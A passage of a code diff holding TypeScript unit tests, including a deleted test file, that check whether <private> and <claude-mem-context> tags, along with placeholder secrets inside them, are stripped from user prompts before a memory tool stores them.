it('should trim whitespace after stripping', () => {
const input = ' <claude-mem-context>content</claude-mem-context> ';
const expected = '';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle malformed tags (unclosed)', () => {
const input = '<claude-mem-context>unclosed tag content';
const expected = '<claude-mem-context>unclosed tag content';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle tag-like strings that are not actual tags', () => {
const input = 'This is not a <tag> but looks like one';
const expected = 'This is not a <tag> but looks like one';
assert.strictEqual(stripMemoryTags(input), expected);
});
// Type safety tests
it('should handle non-string input safely (number)', () => {
const input = 123 as any;
const expected = '{}';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle non-string input safely (null)', () => {
const input = null as any;
const expected = '{}';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle non-string input safely (undefined)', () => {
const input = undefined as any;
const expected = '{}';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle non-string input safely (object)', () => {
const input = { foo: 'bar' } as any;
const expected = '{}';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle non-string input safely (array)', () => {
const input = ['test'] as any;
const expected = '{}';
assert.strictEqual(stripMemoryTags(input), expected);
});
// Real-world JSON scenarios
it('should strip tags from JSON.stringify output', () => {
const obj = {
message: 'hello',
context: '<claude-mem-context>past observation</claude-mem-context>',
private: '<private>sensitive</private>'
};
const jsonStr = JSON.stringify(obj);
const result = stripMemoryTags(jsonStr);
// Tags should be stripped from the JSON string
assert.ok(!result.includes('<claude-mem-context>'));
assert.ok(!result.includes('</claude-mem-context>'));
assert.ok(!result.includes('<private>'));
assert.ok(!result.includes('</private>'));
});
it('should handle very large content efficiently', () => {
const largeContent = 'x'.repeat(10000);
const input = `<claude-mem-context>${largeContent}</claude-mem-context>`;
const expected = '';
assert.strictEqual(stripMemoryTags(input), expected);
});
});
-140
View File
@@ -1,140 +0,0 @@
/**
* Integration tests for user prompt tag stripping
* Verifies that <private> and <claude-mem-context> tags are stripped
* from user prompts before storage in the user_prompts table.
*/
import { describe, it } from 'node:test';
import assert from 'node:assert';
import { stripMemoryTagsFromPrompt } from '../dist/utils/tag-stripping.js';
// Alias for clarity in tests (this tests the prompt context version)
const stripMemoryTags = stripMemoryTagsFromPrompt;
describe('User Prompt Tag Stripping', () => {
it('should strip <private> tags from user prompts', () => {
const userPrompt = 'Please analyze this: <private>API_KEY=secret123</private>';
const expected = 'Please analyze this:';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should strip <claude-mem-context> tags from user prompts', () => {
const userPrompt = '<claude-mem-context>Past observations...</claude-mem-context> Continue working';
const expected = 'Continue working';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should handle prompts with multiple <private> sections', () => {
const userPrompt = '<private>secret1</private> public text <private>secret2</private>';
const expected = 'public text';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should handle prompts that are entirely private', () => {
const userPrompt = '<private>This entire prompt should not be stored</private>';
const expected = '';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should preserve prompts without tags', () => {
const userPrompt = 'This is a normal prompt without any tags';
const expected = 'This is a normal prompt without any tags';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should handle multiline private content in prompts', () => {
const userPrompt = `Before
<private>
Line 1 of secret
Line 2 of secret
Line 3 of secret
</private>
After`;
const expected = 'Before\n\nAfter';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should handle mixed tags in user prompts', () => {
const userPrompt = '<claude-mem-context>Context</claude-mem-context> middle <private>private</private> end';
const expected = 'middle end';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should handle real-world example: API credentials', () => {
const userPrompt = `<private>
OPENAI_API_KEY=sk-proj-abc123
DATABASE_URL=postgresql://user:pass@host/db
</private>
Please help me connect to this database and run a query`;
const result = stripMemoryTags(userPrompt);
assert.ok(!result.includes('OPENAI_API_KEY'), 'API key should be stripped');
assert.ok(!result.includes('DATABASE_URL'), 'Database URL should be stripped');
assert.ok(!result.includes('<private>'), 'Private tags should be stripped');
assert.ok(result.includes('Please help me connect'), 'Non-private content should remain');
});
it('should handle real-world example: debugging context', () => {
const userPrompt = `I'm getting an error in the authentication flow.
<private>
Internal debugging notes:
- This is for the Smith project
- Deadline is tomorrow
- Using staging environment
</private>
Can you help me fix the token validation?`;
const result = stripMemoryTags(userPrompt);
assert.ok(!result.includes('Smith project'), 'Debug notes should be stripped');
assert.ok(!result.includes('Deadline'), 'Private context should be stripped');
assert.ok(result.includes('authentication flow'), 'Problem description should remain');
assert.ok(result.includes('token validation'), 'Question should remain');
});
it('should handle edge case: only whitespace after tag removal', () => {
const userPrompt = ' <private>everything</private> ';
const expected = '';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should handle edge case: unclosed tags (no stripping)', () => {
const userPrompt = 'Text <private>unclosed tag';
const expected = 'Text <private>unclosed tag';
assert.strictEqual(stripMemoryTags(userPrompt), expected);
});
it('should handle non-string input gracefully', () => {
// @ts-expect-error Testing runtime type safety
const result = stripMemoryTags(null);
assert.strictEqual(result, '');
});
// Tests for fully private prompt behavior
it('should return empty string for fully private prompts', () => {
const fullyPrivate = '<private>Everything is private here</private>';
const result = stripMemoryTags(fullyPrivate);
assert.strictEqual(result, '');
});
it('should return empty string for multiple private sections covering entire prompt', () => {
const fullyPrivate = '<private>Part 1</private> <private>Part 2</private> <private>Part 3</private>';
const result = stripMemoryTags(fullyPrivate);
assert.strictEqual(result, '');
});
it('should detect fully private prompts with only whitespace outside tags', () => {
const fullyPrivate = ' <private>Content</private> ';
const result = stripMemoryTags(fullyPrivate);
assert.strictEqual(result, '');
});
it('should not return empty for partially private prompts', () => {
const partiallyPrivate = '<private>Secret</private> Public content here';
const result = stripMemoryTags(partiallyPrivate);
assert.ok(result.trim().length > 0, 'Should have non-empty content');
assert.ok(result.includes('Public'), 'Should contain public content');
});
});